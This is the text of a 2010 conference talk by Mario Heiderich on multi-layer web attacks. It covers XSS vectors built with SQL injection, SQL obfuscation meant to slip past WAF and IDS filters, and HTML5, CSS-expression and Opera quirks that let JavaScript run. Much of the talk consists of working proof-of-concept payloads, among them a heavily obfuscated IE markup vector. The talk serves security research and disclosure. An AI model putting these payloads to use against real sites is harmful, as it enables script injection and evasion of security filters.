The Presence and Future of Web Attacks Multi-Layer Attacks, XSSQLI+ and HTML5

A presentation by Mario Heiderich for CONFidence 2010, Krakow

WARNINGThis talk will be technical, chaotic and|or hurt

Intro

Mario Heiderich @0x6D6172696F

Based in Cologne CTO for Business IN Inc - working on workube.com Independent Security Researcher PHPIDS and something we will see later on

Why this talk?

What happened to web application security? Always the same... so 2002 right?

XSS, SQL Injections, Auth and path traversal We have amazing things now!

NoScript, the IE8 and Chromium XSS filter and CSP

Users must be safer than ever!

But didn't the web change? Wasn't there HTML5 and next generation browsers?

Oh wait - developers!

Web app development frameworks help Building applications faster Pre-implemented SQLI and XSS protection Secure forms with complex CSRF tokens Webroot contains webroot only files

Weaknesses regarding JavaScript generation Client side logic mostly built manually Different templates for browsers, mobile devices, feeds Offline mode, client side validation, DOM access

User Agents on steroids

Chrome 5 and Opera 10.5 ship client side databases IE9 is coming soon with more standards conformity Integrated security mechanisms The death of eval()

A fat client dynasty is coming up Who needs a server anyway if clients do all the work And store their data in „the cloud“

Bye bye SQL - say hello to NoSQL?

Web applications are changing

And so are the attacks against them If the attack happens on and against the client Of what use will a server side IDS / WAF solution be?

Today we can have a little preview for that scenario One question might be...

How will protective mechanisms react on multi-layer attacks?

Multi-layer what?

What about utilizing the DBMS to generate an XSS attack NoScript detects most XSS attacks without problems Circumvention has become very difficult Thanks to Giorgio Maone and the NoScript user base. And me :P

Let's have a look at my last one (disclosed via SSD - fixed in 1.9.9.48) Aren't dataURIs the sweetest thing?

<a href="d&#097t&#x0061: . &#x2c &#x25; 3 c s cri &#x00D; pt % 3 e al\u0065rt(1)%3c /s &#x43 RI &#x009 P t>"

Difficult!

We can probably agree that it's not as easy anymore Same thing for the IE8 XSS filter Or implementations of toStaticHTML()

Most quirky JavaScript encoding techniques are documented

Not too many user agent specific surprises anymore

Help from another layer would be appreciated Let's have a look at a "classic webapp" example

Imagine the DBMS helps

Hypothesis A verbose SQL Injection vulnerability is always at least an

"unfilterable" XSS Verification

Just make use of the obfuscation possibilities the DBMS provides

SELECT 0x3C7363726970743E616C6572742831293C2F7363726970743E

SELECT UpdateXML(concat( 0x3c,'script',0x3e,'alert(1)',0x3c,'/script',0x3e),'/x', 0);

SELECT/**/'<sc'"rip"'t>al'"er"'t(1)'"</sc"'ript>'

MySQL and PostgreSQL

MySQL only ships two basic XML functions UpdateXML() and ExtractValue()

PostgreSQL has far more advanced XML support

SELECT xmlelement(name img,xmlattributes(1 as src,'alert(1)'as onerror))

SELECT xmlforest(loWER('\x41'||'lert(1)') AS script);

And my favorite SELECT xpath('//text()', '<x:x>&#x3c;img\x20src=x\ onerror=alert(1);&#x2f;&#x2f;</x:x>', ARRAY[ARRAY['x', '']]);

SQL Injection and XSS

There are more intersections for XSS and SQLI „Remember“ the client side databases? And the short lived Google Gears? HTML5 and W3C Offline Web Applications 1.0 give us

window.openDatabase()

SQL execution on the user agent Currently supported by Chrome and Opera Usually implemented using SQLite

Code please

<script type="text/javascript">openDatabase('',1,1,0).transaction(function($){$.executeSql( 'SELECT "\x61le\rt(1\u0029"', [], function($,results){ for(i in results.rows.item(0)) eval(results.rows.item(0)[i]) })})</script>

Selects the string "alert(1)" And evaluates the result

Short Roundup

The browsers speak SQL now The server side DBMS can generate HTML and JavaScript We already outsmarted NoScript and IE8 XSS filter Not really a fair game though

Multi-layer attacks mean multi-layer obfuscation In future webapps the client side DBMS will generate our XSS

payload

But today we still have to trick the server side protection Bypass IDS and WAF with a trigger

Attackers like obfuscation

And why wouldn't they - right? Obfuscation usually means concatenation And a bit of encoding spice But how to concatenate in SQL so no one will notice the attack? Which operator to choose?

Everybody knows chr(), char() and double-pipe...

In MySQL - none at all

MySQL doesn't need parenthesis to concatenate And doesn't know the double-pipe operator Sorry mod_security... But luckily MySQL accepts concatenation via whitespace

SELECT "a" "d" "m" "i" "n" SELECT'a'"d"'m'"i"'n'

Or why not use an integer overflow in char()

SELECT concat( char( x'70617373', b'1110111011011110111001001100100'))

So again...

We can bypass the server side protection mechanisms As well as client side tools No parenthesis or special operators needed on MySQL

We can also trick MySQL and the IDS with MySQL specific code

SELECT--/*!500005,*//*!400004,*//*!300003,*/

Back to the user agent

But what if no server side DBMS is involved in the attack What if the client side database is being targeted

We still need to execute some JavaScript bypassing either server side IDS and the client side security mechanisms

Let's have a look at some freaky examples

Remember dataURIs?

The whole requested resource embedded in the URI DataURIs work smoothly on Firefox, Opera and Chrome But IE8 and 9 have problems Some say the minimal dataURI support was just for ACID 2

People say...

...it's not possible to execute JavaScript via dataURI on IE

Do we agree on that? No we don't!

<style> @import "data:,*%7bx:expression(write(2))%7D"; </style>

<link rel="Stylesheet" href="data:,*%7bx:expression(write(4))%7d">

And there's more

CSS expression() is believed to be dead on IE8

But it isn't It's only disabled in standard mode In case a recognized DOCTYPE is present The new HTML5 doctype isn't

So this works:

<!docytpe html> <div style="background:url('abc', x!=x=expression(write(2));)">

And even worse...

HTML5 forces user agents to be more tolerant again New tags, new attributes, new parsing rules And tons of new features like the mentioned openDatabase()

Some nifty examples from the future

<video/poster=javascript:alert(1)// Opera 10.5+ <style>@\import javascript:alert(1); // IE9 (!)

Closing tags + free 0day

Another weird artifact has been reported for IE6 some years ago

It's attributes in closing HTML tags Believed to be dead... but This still works on all IEs

<td>phoobar</td style=expression(write(1))>

And what about this? <style>*{background:url(foo!!-=expression(write(1));</style>

Opera CSS XSS

Since Mozilla fixed the dataURI and cross domain problems with -moz-binding IE was believed to be unique

Unique regarding JavaScript execution via CSS But Opera ships an artifact too

<style>*{-o-link:'javascript:alert(1)';-o-link-source:current}</style>

Now we have...

Server side SQL helping to circumvent client side XSS filters Effective SQL obfuscation circumventing WAF and IDS "Obfuscation-mash ups" using several layers Quirky HTML triggers to execute the JS

Sounds like only one player is missing

Even more freaky markup obfuscation! Awesome! Now breathe..

Meet Harold the markup ghoul

This is Harold:

It's completely legitimate to call me a mad man now and say this is never gonna work

So - demo time: http://heideri.ch/jso/what???

1;--<?f><l￦ :!!:x\/style=`b&#x5c;65h\0061vIo\r/ĸ:url(#def&#x61ult#time2)\ö/';'`￦ /onbegin=&#x5bµ=\u00&#054;1le&#114t&#40&#x31)&#x5d&#x2f/&#xyŧ\>

What... what is this?

It's a piece of markup – obfuscated to the max Working on IE only – but all versions from 5 to 9 Based on the HTML+TIME API (What? Stuff like that still exists?) Does your WAF know what to do with it?

Overall about 12-13 obfuscation steps Buy me a beer later on and I will give you a full

explanation :D

Round Up

We are not living in web app = CRUD application times anymore Modern webapps accept input from many channels User input via HTTP is just one of them API calls, RPC, DOM, Drag&Drop, file meta data & EXIF...

WAF/IDS as well as pentesters need to look into HTML5 New application structures and design pattern must be

understood Client and server versus rich-client and cloud SQLite and NVP versus RDBMS Massive client diversity via mobile devices

Expectations and tasks

Fewer basic and reflective XSS More out-of-band attacks and heavy obfuscation We didn't even cover Flash and PDF More JSON and E4X hijacking SVG based attacks and rogue multimedia objects

Don't ignore the user agent Understand client side obfuscation and multi-layer obfuscation Don't trust filters. Ever. We broke HTMLPurifier and most other markup filters some days

ago with one single vector And don't trust the cloud – it's a business model and not your

buddy :D

So what can I do?

Help with research and participation! Communication and disclosure For good! But how?

The Ultimate Cheatsheet

http://heideri.ch/jso

Ping us!

Add new vectors Get a channel to speak to vendors Most are more responsive than one might think Use it for..

Your own scanner software Your own local version Whatever you want! Open API in JSON Multiple languages Flexible payload You need more? Tell us!

Do what now?

Go here! http://code.google.com/p/html5security/

Questions & Comments

Thanks very much for listening! Wait - no goodies this time? Meh!!1

Yaaaaaaay! Goodies!

Did you know Firefox has a DOM object called crypto? PKI meets JavaScript And another eval() for free!

crypto.generateCRMFRequest( 'CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use' );

Good bye!